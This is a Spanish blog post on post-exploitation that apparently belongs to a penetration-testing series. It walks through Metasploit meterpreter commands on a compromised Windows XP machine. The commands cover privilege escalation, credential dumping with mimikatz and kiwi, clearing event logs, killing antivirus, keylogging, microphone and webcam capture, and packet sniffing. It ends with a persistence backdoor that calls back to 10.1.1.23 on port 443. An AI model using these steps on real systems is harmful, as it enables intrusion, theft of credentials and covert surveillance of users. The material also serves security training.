miércoles, 3 de noviembre de 2021

Post-explotación

Posted by q3it on miércoles, noviembre 03, 2021 in

Cuando se habla de Post-explotación se refiere a todas aquellas acciones que se pueden realizar en un sistema o red, tras haber accedido a ella.

El enfoque puede ser muy diferente según el alcance de las pruebas que se estén realizando, desde ejecutar acciones únicamente en un solo equipo a realizar acciones en toda la red interna de la organización, para lograr obtener control de los principales activos de ésta.

Las acciones de intrusión sobre la empresa xxxxx se centrarán en los sistemas comprometidos en los post de explotación que en este caso es Windows XP, y las acciones de post-explotación se realizarán a través de Metasploit y mediante el payload meterpreter.

Análisis de entorno
En el apartado de explotación se utilizó el exploit netapi y el payload meterpreter, para continuar en la misma dirección se seguirán utilizando.

Una vez dentro sistema Windows XP se aplican las siguientes instrucciones.

sysinfo: Arroja información importante del sistema como: Sistema operativo, arquitectura, lenguaje, dominio, nombre del pc, etc.

ps: Muestra la lista de procesos que se están corriendo en la máquina.

getpid: Esto muestra el ID del proceso desde el que se ejecuta meterpreter.

migrate: Este comando migraría un proceso 1052 a otro diferente en este caso 1512.

getuid: Nos da el User name.

run get_env: Da las variables de entorno.

run get_application_list: Esto arroja el software que se tiene instalado y la versión.

run checkvm: Esta instrucción verifica si el equipo que se está comprometiendo es una máquina virtual.

run scraper: Este comando arroja una enorme cantidad de información del sistema y la guardará en la siguiente ruta /root/.msf4/logs/scripts/scraper.

Elevación de privilegios y extracción de credenciales
Continuando con el exploit de netapi y el payload meterpreter se elevarán los privilegios de usuario del equipo comprometido, pero antes se necesita saber qué nivel de privilegios tiene dicho usuario, y esto se sabe observando el resultado arrojado por getuid dentro de meterpreter. Para elevarlo a usuario system se teclea el comando getsystem en la shell, y una vez hecho esto le dará privilegios para hacer cualquier tipo de acción en el sistema, ahora se vuelve a ejecutar getuid y se ve que es usuario system.

Para extraer las credenciales del sistema comprometido primero hay que utilizar el comando use -l y esto nos llevará a un menú donde podemos encontrar varias herramientas para la explotación de credenciales, hay dos que son muy importantes para esta misión y son: 
  • Mimikatz 
  • Kiwi.
Para extraer las credenciales del PC se pone en consola use mimikatz o use kiwi como enseña la siguiente figura.

Borrado de huellas
Es importante no dejar huellas de lo que se hace en el sistema, para ello se procederá a borrar todo rastro que se haya dejado, si el usuario viera el administrador de eventos y lo analizará, vería los movimientos sospechosos que ha habido en su terminal y eso pondría en riesgo el test, para eliminar el rastro se necesita ejecutar clearev como usuario system figura.

Para desactivar el antivirus porque está dando problemas lo que se haría es teclear el comando run killav en la shell y esto mataría el proceso en el que corre el antivirus.

Espionaje al usuario
Es muy importante después de estar dentro del sistema saber: Cómo manejan el software instalado en la organización, saber cómo piensan los que interactúan con él, capturar pulsaciones de teclado para saber que escriben, etc. Y para esto se debe utilizar más en profundidad a meterpreter, este payload nos arroja bastantes opciones entre las que se encuentran:

keylogger: Es un software para capturar pulsaciones de teclado y el modo de uso es el siguiente:
  • keyscan_start arranca el software.
  • keyscan_dump nos arroja todo lo que haya escrito la víctima.
  • keyscan_stop para el software.
screenshot: Lo que hace este comando es una captura de pantalla y la guarda en el escritorio con extensión .jpeg y se ejecuta escribiendo screenshot en la consola.

record_mic: Esto graba conversaciones por medio del micrófono y se ejecuta poniendo en consola la instrucción record_mic 30 "el número treinta significa que grabará por 30 segundos".

webcam_list: Esta instrucción nos lista las webcams que estén disponibles en el pc.

webcam_snap: Una vez listadas las cámaras se ejecuta esta instrucción y se le añade el numero de la cámara que estaba asignado en la lista así: webcam_snap 1

Sniffing de las comunicaciones
La función de un sniffer esencialmente es capturar paquetes en el tráfico de una red. En apartados anteriores se vió como capturar paquetes con wireshark que a efectos prácticos es la función que desempeña un sniffer.
Continuando con la utilización de meterpreter se le da help para ver los módulos que podemos cargar y nos centramos en uno que se llamado sniffer. A continuación, se ordenan las instrucciones para su funcionamiento:
  • Para cargarlo se le da use sniffer.
  • Seguido sniffer_interfaces esto saca los adaptadores de red de Windows XP.
  • sniffer_start 1 1024 esto arranca la captura.
  • sniffer_stats 1 esta instrucción arroja los paquetes capturados.
  • sniffer_dump 1 pruebas.pcap esta instrucción guarda la información de la captura en un archivo llamado pruebas.pcap ubicado en la carpeta descargas, que luego se importará desde wireshark.
  • snifer_stop 1 esto para la captura.
Ahora se abre el archivo desde wireshark y se le aplican los filtros que se deseen.

Implantación de backdoors
Un backdoor es una puerta trasera en el sistema comprometido y desde meterpreter se puede crear y mantener, esto se hace con el fin de que el usuario cuando reinicie la máquina se pueda conectar sin ningún problema.

Los pasos a seguir son los siguientes:
  • Se le carga a meterpreter el payload run persistence -h donde nos da un menú para configurar la instrucción a ejecutar.
  • Ahora se arma la instrucción con los parámetros adecuados para el backdoor.run persistence -A -L c:\\temp\\ -X -i 15 -p 443 -r 10.1.1.23
  • Se ejecuta esta instrucción.
Esta instrucción ha creado un fichero Visual Basic en Windows XP en la ruta c:\\temp para que no levantar sospecha, ya que en apariencia sería un archivo temporal como enseña la siguiente figura. Y con esto se tendría acceso directo (backdoor) en la máquina Windows XP.